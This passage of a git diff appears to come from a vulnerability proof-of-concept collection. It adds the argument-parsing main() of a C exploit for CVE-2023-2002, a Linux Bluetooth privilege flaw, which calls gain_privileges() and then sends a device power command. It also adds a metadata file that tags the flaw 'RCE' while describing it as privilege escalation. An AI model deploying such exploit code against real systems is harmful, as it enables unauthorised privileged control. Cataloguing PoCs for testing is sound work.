+ fprintf(stderr, "Failed. Reason: %s\n",
+ stringify_mgmt_status(ev->status));
+ exit(EXIT_FAILURE);
+ }
+}
+
+static _Noreturn void usage(char *prog)
+{
+ fprintf(stderr, "Usage: %s POWER_STATUS DEVICE_INDEX\n", prog);
+ fputs("\tPOWER_STATUS := { up | down }\n", stderr);
+ fputs("\tDEVICE_INDEX := { 0 | 1 | ... } \n", stderr);
+
+ exit(EXIT_FAILURE);
+}
+
+static int parse_int(const char *str, int *res)
+{
+ char *end;
+
+ *res = strtol(str, &end, 10);
+ if (end == str || *end != '\0') {
+ return -1;
+ }
+
+ return 0;
+}
+
+int main(int argc, char **argv)
+{
+ int power_status;
+ int device_index;
+ int fd;
+
+ if (argc != 3)
+ usage(argv[0]);
+
+ if (strcmp(argv[1], "up") == 0) {
+ power_status = 1;
+ } else if (strcmp(argv[1], "down") == 0) {
+ power_status = 0;
+ } else {
+ fprintf(stderr, "invalid power status: %s\n\n", argv[1]);
+ usage(argv[0]);
+ }
+
+ if (parse_int(argv[2], &device_index) != 0) {
+ fprintf(stderr, "invalid device index: %s\n\n", argv[2]);
+ usage(argv[0]);
+ }
+
+ fd = gain_privileges();
+
+ bind_control_channel(fd);
+
+ send_set_power(fd, device_index, power_status);
+
+ check_cmd_result(fd);
+
+ close(fd);
+
+ return 0;
+}
diff --git a/cve/linux-kernel/2023/yaml/CVE-2023-2002.yaml b/cve/linux-kernel/2023/yaml/CVE-2023-2002.yaml
new file mode 100644
index 0000000000000000000000000000000000000000..f298dd1ed98b39fa0a11e193b1ecfd7d9a8b2e4e
--- /dev/null
+++ b/cve/linux-kernel/2023/yaml/CVE-2023-2002.yaml
@@ -0,0 +1,17 @@
+id: CVE-2023-2002
+source:
+ https://github.com/lrh2000/CVE-2023-2002
+info:
+ name: Linux Bluetooth 是手机、计算机和其他电子设备短距离无线互连的标准。在Linux中,蓝牙协议栈的规范实现是BlueZ。
+ severity: Medium
+ description: |
+ Linux Bluetooth特权管理不当导致的权限提升漏洞
+ scope-of-influence:
+ Linux 5.15.0-23-generic
+ reference:
+ - https://ti.qianxin.com/vulnerability/detail/294582
+ classification:
+ cve-id: CVE-2023-2002
+ cnvd-id: None
+ kve-id: None
+ tags: RCE
\ No newline at end of file
diff --git a/openkylin_list.yaml b/openkylin_list.yaml
index c9b0a3753e5785c3012cf7c40ade571616d4c647..d6395b074e75e78a2fa81e8252165851b7873be8 100644
--- a/openkylin_list.yaml
+++ b/openkylin_list.yaml
@@ -76,6 +76,7 @@ cve:
- CVE-2019-13272
- CVE-2020-12351
- CVE-2021-43267
+ - CVE-2023-2002
sudo:
- CVE-2019-18634
- CVE-2021-3156